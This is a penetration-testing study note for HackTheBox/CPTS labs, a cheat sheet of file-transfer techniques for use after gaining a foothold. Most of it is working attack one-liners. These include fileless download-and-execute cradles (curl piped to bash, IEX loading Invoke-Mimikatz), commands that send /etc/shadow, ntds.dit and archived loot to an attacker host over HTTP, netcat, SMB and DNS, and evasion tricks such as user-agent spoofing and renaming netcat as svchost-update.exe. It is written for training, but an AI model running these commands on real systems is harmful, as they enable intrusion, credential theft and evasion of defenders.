[!dashboard] Attack-flow navigation Dashboard: HTB Pentest Attack Flow
Section: 04 of 17 · Focus: Foothold Toolkit — File Transfers
Previous: Stage 02 — Web Enumeration and Exploitation · Next: Foothold Toolkit — Shells, Payloads, and Metasploit
📦 FOOTHOLD TOOLKIT — File Transfers
Got a foothold (web shell, nc callback, RCE one-liner) and now need to drag tooling onto the box or drag loot off it. Which port/protocol survives the firewall decides the method — HTTP/S almost always egresses, SMB (445) is often blocked outbound in enterprise, FTP is dying. Decide the direction before the tool: if the target can’t reach me outbound, I make it listen and connect to it; if inbound to the target is filtered, I host on my box and have the target pull. Deep dives: 3 - Linux File Transfer Methods · 2 - Windows File Transfer Methods · 4 - Transferring Files with Code · 5 - Miscellaneous File Transfer Methods · 6 - Living off the Land & Evading Detection.
[!note] Direction & serve-quickref
$LHOST= my tun0,$IP= target. On Windows blocks%LHOST%= “sub my attack IP here” (Win shells don’t expand$LHOST). Stand up one of these on the Pwnbox, then have the target pull:python3 -m http.server 80 --bind 0.0.0.0 # HTTP host (also line ~518/638 in guide) php -S 0.0.0.0:8000 # if python's taken ruby -run -ehttpd . -p8000 # ruby fallback busybox httpd -f -p 8080 # zero-dep fallback on minimal attack boxes/containers python3 -m uploadserver 443 --server-certificate ~/server.pem # HTTPS + /upload catch sudo impacket-smbserver share -smb2support /tmp/smbshare # SMB shareAlways
md5sum/Get-FileHashboth ends after a paste or a flaky channel — copy-paste corruption and ASCII-mode FTP mangling are silent.
[!tools] Stage this (from
attachments/) nc64.exe (SHA-256 · GPG signature) Windows-side netcat for the raw-socket transfer and reverse-shell patterns below. Verify against the vault integrity record before staging anything onto a target: SHA256SUMS (GPG signature) SHA256-verify every staged binary:sha256sum -c SHA256SUMS.txt --ignore-missingon the attack box,Get-FileHash -Algorithm SHA256on Windows targets. A corruptednc64.exetransfer wastes a shell; a tampered one burns the op.
🧭 Choose the channel — decision table
Read egress and host context before generating a payload. Wrong channel = dropped connection = lost shell. MITRE: T1105 (Ingress Tool Transfer), T1041/T1048 (Exfiltration), T1071 (Application Layer Protocols).
| Situation on target | Channel | Why / caveats |
|---|---|---|
| Normal egress, HTTP/HTTPS out allowed | HTTP(S): curl/wget, PS WebClient/IWR | Default choice; watch proxy auth and TLS inspection |
| Domain-joined Windows, SMB to my box routable | impacket smbserver.py + copy \\$LHOST\share\ | 445 often blocked outbound from user VLANs — test, don’t assume |
| HTTP dead but 21/69 reachable (legacy/OT) | FTP (pyftpdlib) / TFTP (atftpd) | Plaintext, no integrity; TFTP is UDP — verify hash after |
| Only one arbitrary port open (e.g. 443 free) | nc/socat/openssl s_server raw socket | No resume, no integrity — compress + hash |
| Egress fully blocked, I have a route in | Bind-style: target listens, I push (nc -l, smbserver on target side via scp) | Inbound filtering on target may still bite; try high ports |
| I hold creds/keys on the target | SSH (scp/sftp/rsync), WinRM (Copy-Item -ToSession, evil-winrm upload) | Encrypted, authenticated, quietest option when available |
| Existing RDP session (GUI access) | xfreerdp /drive: redirect → \\tsclient\ | Zero new network flows; rides the session I already have |
| Meterpreter session up | upload/download in-channel | No new ports, encrypted C2 channel, chunked + resumable |
| Huge file over flaky link | Compress first (tar czf, Compress-Archive), then any channel | Fewer bytes = fewer chances to die mid-transfer |
| Everything filtered except DNS | DNS exfil concept (dnscat2) | Slow (bytes/sec); last resort, very noisy per-byte |
| No network at all, paste channel only | base64 chunked copy-paste | cmd.exe 8,191-char ceiling; small files only, hash-verify |
Port-choice heuristic: 443 first (blends with HTTPS egress), then 80, then 53/123 (DNS/NTP-shaped), then whatever the foothold itself arrived on (that port is proven routable). Avoid “hacker ports” (4444, 1337) on real engagements — they’re watchlisted; fine in the lab because HTB boxes rarely egress-filter at all. On the Pwnbox, remember ports <1024 need sudo to bind.
[!tip] CPTS exam tip The exam boxes usually leave 80/443 egress open —
python3 -m http.server+curl/certutilsolves 90% of transfers. Practice theimpacket-smbserver+net usedance anyway: it’s the intended path whenever the scenario drops you on a Windows host with shared tooling, and it doubles as the delivery mechanism for DLL-hijack and coercion chains in Stage 09 and Stage 10.
Hosting files from the Pwnbox — server matrix
What to look for → on my side: which port is free (ss -lntup | grep -E ':80|:443'), whether I need upload and download, TLS or not, and whether my own host firewall is in the way. MITRE: T1105 (Ingress Tool Transfer) — the server half of the same technique.
| Server | One-liner | Upload? | TLS? | Use when |
|---|---|---|---|---|
| python3 http.server | python3 -m http.server 80 --bind 0.0.0.0 | ❌ | ❌ | The default; GET-only, logs every hit |
| updog | updog -p 443 --ssl | ✅ | ✅ | http.server with a drop-in upload form + TLS |
| python3 uploadserver | python3 -m uploadserver 8000 | ✅ (/upload) | ✅ (--server-certificate) | Multipart POST catcher, token auth option |
| php built-in | php -S 0.0.0.0:8000 | ❌ | ❌ | When python3 is absent/busy |
| busybox httpd | busybox httpd -f -p 8080 | ❌ | ❌ | Minimal containers, no full python |
| ruby httpd | ruby -run -ehttpd . -p8000 | ❌ | ❌ | Last-ditch fallback |
| impacket smbserver | sudo impacket-smbserver share -smb2support /tmp/smb | ✅ (copy back) | n/a | Windows targets, UNC path delivery |
| pyftpdlib | sudo python3 -m pyftpdlib -p 21 -w | ✅ | ❌ | Scripted ftp.exe targets |
| atftpd | sudo atftpd --daemon --port 69 /tftpboot | ✅ | ❌ | TFTP clients (XP-era / network boot) |
# Check before binding — a stale listener is the #1 "my transfer hung" cause
ss -lntup | grep -E ':(80|443|8000)\b'
sudo fuser -k 80/tcp # free the port if an old server holds it
# Pwnbox firewall — don't forget to actually allow the port in
sudo iptables -I INPUT -p tcp --dport 80 -j ACCEPT # or: sudo ufw allow 80/tcp
[!warning] Watch out
--bind 0.0.0.0matters on multi-homed setups: binding tolocalhost(some tools’ default) makes the server invisible to the target and you’ll chase a “target can’t reach me” ghost for ten minutes.http.serverserves the current working directory —cdinto a dedicated staging dir (~/staging) so you don’t leak your whole home folder, and so hit-logs map cleanly to staged files.- Watch the server log line when the target pulls: 200 = served, 404 = wrong path on the target’s command, no log line at all = egress/filtering problem, not a typo problem.
Linux target — pull tooling down
What to look for → which downloader exists: which curl wget; type python3 php ruby perl; echo $BASH_VERSION. Real IR data shows droppers try curl → wget → python in sequence — mirror that fallback ladder.
Linux fetcher ladder (preference order)
| Fetcher | Primitive | Pre-installed? | Notes |
|---|---|---|---|
curl | HTTP/S, FTP, SCP/SFTP | Usually | -o output; -s quiet; --insecure for self-signed |
wget | HTTP/S, FTP | Usually | -O output (capital); -qO- streams to stdout |
nc + listener | Raw TCP | Often (openbsd variant) | No integrity — hash after |
bash /dev/tcp | Raw TCP | Bash-only built-in | Survives “minimal” containers with no fetchers |
openssl s_client | TLS raw | Very common | Fetches over TLS from openssl s_server |
scp/sftp/rsync | SSH | If sshd + creds | Encrypted, authenticated, resumable (rsync) |
python3/php/perl/ruby | HTTP via stdlib | One usually exists | Language one-liners below |
Serve + fetch
# Pwnbox: host the dir with linpeas/pspy/nc etc.
python3 -m http.server 80 --bind 0.0.0.0
# updog (https://github.com/sc0tfree/updog) — http.server replacement with TLS + built-in /upload:
updog -p 443 --ssl # pip install updog; serves AND receives in one process
# Target — the two obvious ones (note -O vs -o gotcha)
wget http://$LHOST/linpeas.sh -O /tmp/lp.sh
curl -o /tmp/lp.sh http://$LHOST/linpeas.sh
# Fileless — never touches disk, pipe straight into the interpreter
curl -s http://$LHOST/linpeas.sh | bash
wget -qO- http://$LHOST/helloworld.py | python3
# No curl AND no wget? Bash's /dev/tcp built-in speaks raw HTTP
exec 3<>/dev/tcp/$LHOST/80
echo -e "GET /linpeas.sh HTTP/1.1\nHost: $LHOST\n\n" >&3
cat <&3 # strip headers above the blank line
# nc fallback pull (Pwnbox serves raw): nc -lvnp 80 -q 0 < linpeas.sh
nc $LHOST 80 > /tmp/linpeas.sh
# interpreter one-liners (when only a language runtime is present)
python3 -c 'import urllib.request;urllib.request.urlretrieve("http://'$LHOST'/lp.sh","lp.sh")'
php -r '$f=file_get_contents("http://'$LHOST'/lp.sh");file_put_contents("lp.sh",$f);'
ruby -e 'require "net/http";File.write("lp.sh",Net::HTTP.get(URI("http://'$LHOST'/lp.sh")))'
perl -e 'use LWP::Simple;getstore("http://'$LHOST'/lp.sh","lp.sh");'
# SSH family — when I hold creds or a key on the target's sshd
scp htb-student@$IP:/root/root.txt . # pull one file
sftp htb-student@$IP # interactive; get/put, -P for odd ports
rsync -avz -e ssh htb-student@$IP:/var/www/loot/ ./loot/ # resumable, deltas, best for big dirs
# openssl s_client as a TLS fetcher (target has openssl but no curl/wget)
openssl s_client -connect $LHOST:443 -quiet <<< "GET /lp.sh HTTP/1.0" | sed '1,/^\r$/d' > lp.sh
[!warning] Watch out
wget -O(capital O, output file) vscurl -o(lowercase) — swap them and you clobber the wrong path.curl -O(capital) keeps the remote name.- “Fileless” is relative: payloads that
mkfifostill drop temp files. And piping intobashleaves no copy to re-inspect — if you might need it for the report, download first./dev/tcpneeds Bash ≥2.04 built with--enable-net-redirections(default on most distros, absent ondash/sh).scpon OpenSSH ≥9 defaults to the SFTP protocol under the hood — ancient targets with only the legacy scp server needscp -O.
Linux target — push loot out
What to look for → a writable landing spot on my side (uploadserver, updog, nginx PUT, an SSH user), or a listener I control.
Exfil
# Pwnbox HTTPS catcher (self-signed), then multipart POST from target
openssl req -x509 -newkey rsa:2048 -keyout server.pem -out server.pem -nodes -sha256 -subj '/CN=server'
sudo python3 -m uploadserver 443 --server-certificate ~/server.pem
# Target — several files in one shot
curl -X POST https://$LHOST/upload -F 'files=@/etc/passwd' -F 'files=@/etc/shadow' --insecure
# nginx PUT endpoint (dav_methods PUT;) → curl -T for a raw HTTP PUT
curl -T /root/ntds.dit http://$LHOST:9001/SecretUploadDirectory/ntds.dit
# SCP the other direction (local→remote args just swap)
scp /etc/passwd htb-student@$IP:/home/htb-student/
# Python requests one-liner upload
python3 -c 'import requests;requests.post("http://'$LHOST':8000/upload",files={"files":open("/etc/passwd","rb")})'
# Raw nc exfil (Pwnbox: nc -lvnp 443 > loot.tar.gz)
tar czf - /etc/shadow /etc/passwd | nc $LHOST 443 # compress-and-pipe in one step
[!tip] Encrypt sensitive loot before it leaves — never ship raw NTDS/creds over plaintext
openssl enc -aes256 -iter 100000 -pbkdf2 -in ntds.dit -out ntds.enc # decrypt: add -dUse PBKDF2 + high iter (not OpenSSL’s legacy KDF), unique passphrase per engagement.
ageis the sane modern alternative but rarely pre-installed. MITRE: T1567 (Exfiltration Over Web Service) vs T1048 (Exfiltration Over Alternative Protocol) — pick the tag that matches the channel in the report.
Windows target — pull tooling down (cradle table)
What to look for → PowerShell available? then WebClient is fastest and most reliable. cmd.exe only? → certutil/bitsadmin/scripted ftp.exe. Net.WebClient is technically obsolete in .NET but still the go-to on Windows PowerShell 5.1. MITRE: T1105 (Ingress Tool Transfer), T1059.001 (PowerShell), T1218 (LOLBins).
The cradle matrix — shortest path first
| Method | One-liner | Notes / detection |
|---|---|---|
| IEX in-memory | IEX (New-Object Net.WebClient).DownloadString('http://%LHOST%/pv.ps1') | Fileless; AMSI scans the string at IEX time |
| WebClient to disk | (New-Object Net.WebClient).DownloadFile('http://%LHOST%/nc64.exe','C:\Windows\Temp\nc64.exe') | Reliable all PS versions; process-tree telemetry |
| IWR to disk | iwr http://%LHOST%/nc64.exe -UseBasicParsing -OutFile nc64.exe | Slower; needs -UseBasicParsing pre-IE-first-run |
| BITS (PS) | Start-BitsTransfer -Source http://%LHOST%/nc64.exe -Destination C:\Temp\nc64.exe | Resumable; Microsoft BITS UA is a known tell |
| certutil | certutil -urlcache -split -f http://%LHOST%/nc64.exe nc64.exe | The classic; flagged by default on modern EDR |
| curl.exe / wget.exe | curl.exe -o nc64.exe http://%LHOST%/nc64.exe | Ships in System32 since Win10 1803+ — cleanest LOLBin now |
| esentutl | esentutl.exe /y \\%LHOST%\share\nc64.exe /d C:\Temp\nc64.exe /o | Copy-via-database LOLBin; works over UNC too |
| mshta | mshta http://%LHOST%/dl.hta | Executes HTA, not a raw download — pairs with an HTA dropper |
| rundll32 url.dll | rundll32 url.dll,FileProtocolHandler http://%LHOST%/nc64.exe | Mostly an exec primitive; expect it to open in-browser, not save |
| scripted ftp.exe | see block below | ASCII-mode default corrupts binaries — send binary |
| cscript LOLBin | cscript //nologo wget.vbs http://%LHOST%/nc64.exe nc64.exe | When AppLocker blocks PowerShell |
Fetch (PowerShell)
# WebClient — works every PS version, HTTP/HTTPS/FTP
(New-Object Net.WebClient).DownloadFile('http://%LHOST%/nc.exe','C:\Windows\Temp\nc.exe')
# Fileless: run in memory, nothing on disk (defeats file-based AV, not AMSI/EDR)
IEX (New-Object Net.WebClient).DownloadString('http://%LHOST%/PowerView.ps1')
(New-Object Net.WebClient).DownloadString('http://%LHOST%/Invoke-Mimikatz.ps1') | IEX
# Invoke-WebRequest (iwr/curl/wget aliases) — slower, "expected" in normal PS
Invoke-WebRequest http://%LHOST%/PowerView.ps1 -UseBasicParsing -OutFile PowerView.ps1
# Modern curl.exe — present in C:\Windows\System32 since Win10 1803, plain and quiet-ish
curl.exe -s -o C:\Windows\Temp\nc64.exe http://%LHOST%/nc64.exe
Fetch (cmd / LOLBins)
:: certutil — the classic "wget for Windows" (loud, AMSI-flagged; two spellings)
certutil.exe -urlcache -split -f http://%LHOST%/nc.exe C:\Windows\Temp\nc.exe
certutil.exe -verifyctl -split -f http://%LHOST%/nc.exe
:: bitsadmin
bitsadmin /transfer job /priority foreground http://%LHOST%/nc.exe C:\Windows\Temp\nc.exe
:: scripted ftp.exe when there's no interactive shell (Pwnbox: python3 -m pyftpdlib -p 21 -w)
echo open %LHOST%> ftp.txt& echo USER anonymous>> ftp.txt& echo binary>> ftp.txt& echo GET nc.exe>> ftp.txt& echo bye>> ftp.txt
ftp -v -n -s:ftp.txt
:: esentutl copy over UNC or HTTP-cache paths (database LOLBin)
esentutl.exe /y \\%LHOST%\share\nc64.exe /d C:\Windows\Temp\nc64.exe /o
:: cscript LOLBin (JScript/VBScript) when PowerShell itself is blocked by AppLocker
cscript.exe /nologo wget.vbs http://%LHOST%/nc.exe nc.exe
# BITS via the PS module, and GfxDownloadWrapper (Intel driver LOLBin) if present
Import-Module bitstransfer; Start-BitsTransfer -Source "http://%LHOST%/nc.exe" -Destination "C:\Windows\Temp\nc.exe"
GfxDownloadWrapper.exe "http://%LHOST%/nc.exe" "C:\Temp\nc.exe"
[!warning] Watch out
Invoke-WebRequeston a fresh server dies with “Internet Explorer’s first-launch configuration is not complete” — add-UseBasicParsing. TLS trust error?[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}before the download.- certutil & bitsadmin are the most-taught AND most-detected LOLBins — modern AMSI/EDR flags them out of the box (
Microsoft-CryptoAPI/10.0/Microsoft BITS/7.8user-agents give them away). On a monitored box preferNet.WebClient,curl.exe, or in-memory .NET; save certutil for unmonitored/CTF.cmd.execaps command strings at 8,191 chars — base64-paste of anything bigger silently truncates. Use a real network transfer for binaries.mshta/rundll32 url.dllare execution primitives wearing a download costume — use them to trigger an HTA dropper, not to save files.
Windows target — push loot out (incl. the smbserver + copy pattern)
What to look for → 445 outbound open → impacket SMB (bidirectional, cleanest). 445 blocked → WebDAV rides HTTP/S. No upload server → base64 POST to a bare nc. MITRE: T1021.002 (SMB/Windows Admin Shares), T1105.
SMB via impacket-smbserver (download and exfil, same share)
# Pwnbox — anon share for older Windows...
sudo impacket-smbserver share -smb2support /tmp/smbshare
# ...but modern Windows blocks unauthenticated guest → serve WITH creds instead
sudo impacket-smbserver share -smb2support /tmp/smbshare -user u -password p
:: pull down (guest)
copy \\%LHOST%\share\nc.exe C:\Windows\Temp\
:: guest-access error? map an authed drive, then copy
net use n: \\%LHOST%\share /user:u p
copy n:\nc.exe C:\Windows\Temp\
:: exfil — just copy the OTHER way, into the same share
copy C:\Users\john\Desktop\SourceCode.zip \\%LHOST%\share\
:: tidy up the mapped drive when done (OPSEC: don't leave creds cached)
net use n: /delete
WebDAV when SMB/445 is filtered (rides HTTP, DavWWWRoot is a shell keyword, not a folder)
sudo wsgidav --host=0.0.0.0 --port=80 --root=/tmp --auth=anonymous
dir \\%LHOST%\DavWWWRoot
copy C:\loot\SourceCode.zip \\%LHOST%\DavWWWRoot\
PowerShell upload (no native upload cmdlet — pair with a server, or POST base64 to nc)
# PSUpload against uploadserver's /upload
IEX(New-Object Net.WebClient).DownloadString('http://%LHOST%/PSUpload.ps1')
Invoke-FileUpload -Uri http://%LHOST%:8000/upload -File C:\Windows\System32\drivers\etc\hosts
# no upload server needed — base64 the file, POST the body, catch with bare nc
$b64 = [Convert]::ToBase64String((Get-Content -Path 'C:\loot\hosts' -Encoding Byte))
Invoke-WebRequest -Uri http://%LHOST%:8000/ -Method POST -Body $b64
# certreq.exe LOLBin — POST any file to a listener
certreq.exe -Post -config http://%LHOST%:8000/ C:\Windows\win.ini
# Pwnbox — catch the base64/certreq POST body, then decode
nc -lvnp 8000
echo '<base64 from request body>' | base64 -d > hosts
[!warning] Watch out
- A guest-access failure on
copy \\ip\share\fileis a signal, not a dead end — the target enforces SMB signing/guest-block. Pivot to authed SMB (net use) or WebDAV, don’t assume SMB is unreachable.impacket-smbserveris also how you serve DLLs for hijack/coercion chains (see guide STAGE 9smbserver.py share …). Same tool,-smb2supportis mandatory for modern clients.- FTP defaults to ASCII mode and corrupts binaries — always issue
binaryfirst in the scripted command file.net usewith/user:leaves the credential in the session and can pop a cached-cred artifact —/deletethe mapping during cleanup (Stage 10 loot hygiene).
FTP & TFTP — the legacy lanes
What to look for → ftp/tftp clients present on target (where ftp tftp), ports 21/69 reachable. FTP still appears on CPTS boxes and in OT/legacy estates; TFTP is mostly a Windows XP-era built-in (tftp.exe was removed from default installs after XP / re-optional via “TFTP Client” feature).
Serve (Pwnbox)
# pyftpdlib (https://github.com/giampaolo/pyftpdlib) — writable anonymous FTP in one line
sudo python3 -m pyftpdlib -p 21 -w
# TFTP — atftpd daemon rooted at /tftpboot (UDP 69, needs sudo)
sudo atftpd --daemon --port 69 /tftpboot
Fetch from Windows
:: scripted ftp.exe (non-interactive via -s:script) — binary mode is NOT optional for .exe
echo open %LHOST%> ftp.txt& echo USER anonymous>> ftp.txt& echo binary>> ftp.txt& echo GET nc64.exe>> ftp.txt& echo bye>> ftp.txt
ftp -v -n -s:ftp.txt
:: tftp.exe — Windows XP / Server 2003 era (client must be installed on modern Windows)
tftp -i %LHOST% GET nc64.exe
[!warning] Watch out
- Both protocols are plaintext with no integrity or auth — creds and loot are sniffable on the wire, and a dropped UDP packet in TFTP silently corrupts. Hash-verify after every TFTP pull.
- FTP needs two channels (21 control + data port); stateful firewalls that kill “just port 21” expectations break active-mode FTP — the passive vs active mismatch is the classic “connects but
GEThangs” failure.- On modern Windows,
tftp.exeabsent ≠ TFTP impossible — but installing the feature is itself a loud, logged change. Prefer another lane.
No network path — base64 paste (either OS)
What to look for → only a copy-paste channel exists (web shell, RDP clipboard, restricted console, an SSH session I can type into but can’t route through) with no reachable port either direction. Small files only (keys, scripts) — cmd.exe’s 8,191-char ceiling kills big pastes. MITRE: T1140 (Deobfuscate/Decode Files or Information).
The standard paste-into-SSH workflow (both directions)
- Hash the source file (
md5sum/Get-FileHash) — this hash is the receipt. - Encode to one unbroken line:
base64 -w 0on Linux,[Convert]::ToBase64String(...)on Windows. - Paste into the target shell (for SSH sessions, a plain paste into
cat > f.b64then Ctrl+D works; for web shells, POST the b64 as a parameter). - Decode on target and hash again — mismatch = wrap/paste corruption, redo in smaller chunks.
Round-trip — hash first, encode one line, verify after
# Pwnbox — hash, then encode to one unbroken line
md5sum id_rsa; cat id_rsa | base64 -w 0; echo
# big file? chunk it so no single paste exceeds the target's command-line limit
split -b 51200 tool.exe part_ # then base64 -w 0 each part_*
# Windows target — decode bytes back to disk, verify hash
[IO.File]::WriteAllBytes("C:\Users\Public\id_rsa",[Convert]::FromBase64String("<b64>"))
Get-FileHash C:\Users\Public\id_rsa -Algorithm md5
# chunked paste: write each part with Add-Content / certutil -decode per chunk, then reassemble:
# cmd> copy /b part_aa+part_ab tool.exe
# reverse (exfil): encode on target...
[Convert]::ToBase64String((Get-Content "C:\loot\hosts" -Encoding byte))
# Linux target — decode (-n on echo avoids a stray newline)
echo -n '<b64>' | base64 -d > id_rsa; md5sum id_rsa
# chunked: cat parts in order, then decode once
cat part_* > all.b64 && base64 -d all.b64 > tool.exe && md5sum tool.exe
[!warning] Watch out Always MD5/SHA256 both ends — line-wrapping and encoding drift on paste are the classic silent failure. Use
base64 -w 0so it’s one line, andecho -non decode so no extra byte sneaks in. Make hash-verify a reflex: the vault keepsattachments/SHA256SUMS.txtas the source-of-truth record — check staged binaries against it before they cross the wire, and re-hash on the target after.
Alt-channel transfers (nc / TLS / WinRM / RDP / meterpreter / DNS)
What to look for → HTTP/SMB/FTP all blocked but something is reachable: a raw port for nc, WinRM (5985/5986), an existing RDP session, or a live meterpreter channel.
# ── Netcat/Ncat — direction-agnostic; -q 0 / --send-only / --recv-only closes cleanly ──
# Windows side uses the staged nc64.exe (attachments/) — same syntax:
# C:\> nc64.exe -l -p 8000 > tool.exe (then push from Pwnbox)
# C:\> nc64.exe $LHOST 443 < loot.zip (exfil from Windows back to my listener)
# target listens, I push:
victim$ nc -l -p 8000 > tool.exe # nc -q 0 $IP 8000 < tool.exe (from Pwnbox)
# I listen, target pulls out (use when target inbound is blocked but outbound works):
sudo nc -l -p 443 -q 0 < tool.exe # victim$ nc $LHOST 443 > tool.exe
# no nc on target at all:
victim$ cat < /dev/tcp/$LHOST/443 > tool.exe
# nc has NO integrity — always md5sum both ends after a raw-socket transfer
md5sum tool.exe # run on BOTH sides, compare
# ── openssl as an nc-with-TLS (GTFOBins) — blends into 443, dodges plaintext IDS ──
openssl req -newkey rsa:2048 -nodes -keyout k.pem -x509 -days 365 -out c.pem
openssl s_server -quiet -accept 443 -cert c.pem -key k.pem < linpeas.sh
victim$ openssl s_client -connect $LHOST:443 -quiet > linpeas.sh
# ── WinRM (5985/5986) when HTTP+SMB dead but I have admin/Remote-Mgmt rights ──
$S = New-PSSession -ComputerName DATABASE01
Copy-Item -Path C:\tool.exe -ToSession $S -Destination C:\Windows\Temp\ # push
Copy-Item -Path C:\loot\DB.txt -Destination C:\ -FromSession $S # pull
# evil-winrm (https://github.com/Hackplayers/evil-winrm) — built-in upload/download verbs
evil-winrm -i $IP -u "$U" -p "$P"
# *Evil-WinRM* > upload SharpHound.exe C:\\Windows\\Temp\\SharpHound.exe
# *Evil-WinRM* > download C:\\loot\\report.txt ./report.txt
# ── RDP drive redirection — /tsclient share, easy to forget RDP is a transfer channel ──
xfreerdp /v:$IP /d:$DOMAIN /u:$U /p:"$P" /drive:linux,/home/kali/rdshare
# → inside the session, files land at \\tsclient\linux
# ── meterpreter in-channel (see sibling note 05) — no new ports, encrypted, resumable ──
meterpreter > upload /home/kali/tools/winPEASx64.exe C:\\Windows\\Temp\\
meterpreter > download C:\\loot\\ntds.enc /home/kali/loot/
DNS exfil (concept) — when DNS (53) is the only thing that egresses: chunk the file, base32/hex-encode each chunk, and fire them as lookups against a domain whose authoritative NS you control (<chunk>.exfil.$MYDOMAIN), reassemble server-side. Frameworks: dnscat2, iodine. MITRE: T1071.004 (DNS), T1048.003. Expect bytes/second throughput and a lot of queries — noisy per byte; size the payload accordingly. Fine for a harvested password or a small keyfile; hopeless for ntds.dit — compress-and-encrypt first, then decide if DNS is really the only way out.
Modern Windows has OpenSSH — use it
What to look for → Win10 1809+/Server 2019+ ship an OpenSSH client (ssh.exe, scp.exe, sftp.exe in C:\Windows\System32\OpenSSH\) even when the sshd server feature is off. If the target can egress on 22 (or I re-point my sshd to 443/80), the whole SSH transfer toolkit works from Windows without staging anything.
:: pull from my Pwnbox sshd (sshd must be running on MY side)
scp.exe kali@%LHOST%:/home/kali/staging/winPEASx64.exe C:\Windows\Temp\
:: push loot back the same way
scp.exe C:\loot\report.zip kali@%LHOST%:/home/kali/loot/
# Pwnbox — make sshd reachable on an egress-friendly port if 22 is filtered
sudo /usr/sbin/sshd -p 443 # dedicated instance alongside the stock one
[!tip] Why bother: SSH gives encryption + integrity + auth in one protocol, and
scp.exeis a signed Microsoft binary — no LOLBin stigma, no AMSI involvement. The cost is interactivity (host-key prompt, password) unless I stage a key first. MITRE: T1021.004 (SSH) / T1105.
[!tip] Why these earn their place WinRM/openssl/RDP/meterpreter all live on different ports than the HTTP/SMB/FTP a firewall usually watches. If the “normal” three are blocked but you already hold the access (admin creds → WinRM, an RDP session → drive redirect, a meterpreter session → in-channel transfer), these walk files right past the egress rules.
socatcovers the multi-hop/relay cases nc can’t. RDP drive redirection writes via the session, so it shows up asmstsc-adjacent activity, not a new outbound flow — quiet, but it does leave the file on the redirected share path in logs.
Compress first, transfer second
What to look for → big loot (ntds.dit + registry hives, source trees, log dirs) or a flaky channel. Fewer bytes = fewer retries = less time on the wire. MITRE: T1560.001 (Archive Collected Data).
# Linux — tar stream (exfil in one pipe, no temp file on target)
tar czf - /var/www/html /etc/ssh 2>/dev/null | nc $LHOST 443 > /dev/null # ...or | curl -T - http://$LHOST/up.tgz
# Windows — Compress-Archive (PS 5.0+), then transfer the .zip by any cradle above
Compress-Archive -Path C:\loot\* -DestinationPath C:\Windows\Temp\l.zip
:: pre-PS5 / cmd-only: PowerShell one-shot still works from cmd
powershell -c "Compress-Archive -Path C:\loot\* -DestinationPath C:\Windows\Temp\l.zip"
[!warning] Watch out
tar/Compress-Archiveof live Windows files (registry hives, locked DBs) fails or grabs torn copies — for hives usereg save HKLM\SAM sam/reg save HKLM\SYSTEM systemfirst, forntds.dituse shadow-copy orntdsutil(see Stage 08).
Evading detection (OPSEC)
What to look for → evasive testing is in scope and the target has EDR/SIEM. Every downloader has a fingerprintable default user-agent; command-line blacklisting is weak but whitelisting + UA baselining is what actually catches these.
# Spoof the UA to a browser preset so it blends with normal egress traffic
$UA = [Microsoft.PowerShell.Commands.PSUserAgent]::Chrome
Invoke-WebRequest http://%LHOST%/nc.exe -UserAgent $UA -OutFile C:\Users\Public\nc.exe
:: certutil doubles as a base64 encoder/decoder — stage an "encoded cert" past naive content filters
certutil -encode payload.exe payload.b64
certutil -decode payload.b64 payload.exe
[!warning] Watch out
- Known UA tells:
Microsoft-CryptoAPI/10.0(certutil),Microsoft BITS/7.8(BITS),…WindowsPowerShell/5.1…(IWR). A blue team baselining legit UAs flags every one of these — the UA spoof only helps against UA-based rules, not against EDR watching the process tree.- AMSI inspects
IEXcradles in memory — aDownloadString | IEXof a signatured script (mimikatz-family, older PowerView) dies at execution even if the download was clean. Obfuscate the content, not just the channel; and remember AMSI is per-process —powershell -encstill passes through it.- The download is rarely the loud part — it’s the SYSTEM
cmd/powershellthat the payload spawns (Event 4688). Getting the file over quietly buys nothing if execution screams.- Check LOLBAS (
/download,/upload) and GTFOBins (+file download/upload) per-engagement for a binary already whitelisted in that environment — that beats any famous-but-signatured default. Confirm evasive testing is scoped before deliberately dodging detection.- Cleanup (T1070.004): delete staged tools (
nc64.exe, archives, scripts), remove mapped drives, and clear$env:TEMPartifacts before ending the session — orphaned attacker tooling inC:\Windows\Tempis the #1 “you forgot something” debrief item.- Staging path choice matters:
C:\Windows\TempandC:\Users\Publicare the classic drops because they’re world-writable — and also the first places a responder looks. A per-engagement folder under the compromised user’s own profile blends better and inherits that user’s permissions.- Rename to blend (T1036):
nc64.exe→svchost-update.exe/audiodg.exenaming conventions reduce casual triage hits, but do nothing against hash- or signature-based detections. Pair renaming with the integrity habit: record the new name ↔ SHA256 mapping in your notes so the report’s evidence chain stays honest.
[!example] CPTS workflow recap
which curl wget nc/where curl certutilon target → pick the fetcher.- Serve on Pwnbox (
python3 -m http.server 80orupdog --ssl).- Transfer, then hash-verify against
attachments/SHA256SUMS.txthabit.- Execute; when done, clean up staged files and note the channel used for the report’s ATT&CK mapping.
Troubleshooting matrix — “the transfer didn’t work”
| Symptom | Likely cause | Fix |
|---|---|---|
| Target: connection timed out | Egress filter on that port; wrong $LHOST; server bound to localhost | Try 443/80; re-check ip a tun0; re-bind --bind 0.0.0.0 |
| Target: connection refused | Nothing listening / Pwnbox firewall drops it | ss -lntup on Pwnbox; iptables -I INPUT ... -j ACCEPT |
| Server log shows 404 | Target asked for the wrong path (case, cwd) | Serve from a dedicated staging dir; copy the exact filename |
| File arrives but won’t run / hash mismatch | ASCII-mode FTP mangling; paste wrap; truncated nc | Re-send in binary mode; md5sum both ends; use -q 0 clean close |
certutil downloads a 0-byte or HTML file | Proxy interception / captive portal answering instead of my server | Try curl.exe or SMB; inspect what actually landed (type file) |
copy \\$LHOST\share\ → “logon failure” | Guest SMB blocked (modern Windows default) | net use n: \\$LHOST\share /user:u p against an authed share |
WebDAV copy → “network path not found” | WebClient service stopped on target | net start webclient (needs the service present) |
iwr TLS error on HTTPS | Self-signed cert rejected | Set ServerCertificateValidationCallback = {$true} first |
FTP connects but GET hangs | Active-mode data channel blocked by firewall | Switch to passive mode, or abandon FTP for HTTP |
| Big file dies mid-transfer every time | Flaky link, no resume on raw nc | Compress first; use BITS/rsync/meterpreter (resumable) |
[!tip] Transfer hygiene checklist (before leaving the box)
- Staged tools deleted from
/tmp,C:\Windows\Temp,C:\Users\Publicnet usemappings removed; RDP/driveshares disconnected- Listeners killed on Pwnbox (
jobs -Kin msf,fuser -kfor straync/http.server)- Loot encrypted at rest on the attack box; hashes recorded for the report evidence chain
- Channels + filenames logged for the ATT&CK mapping in Stage 11
[!navigation] Continue the attack flow Previous: Stage 02 — Web Enumeration and Exploitation
Dashboard: HTB Pentest Attack Flow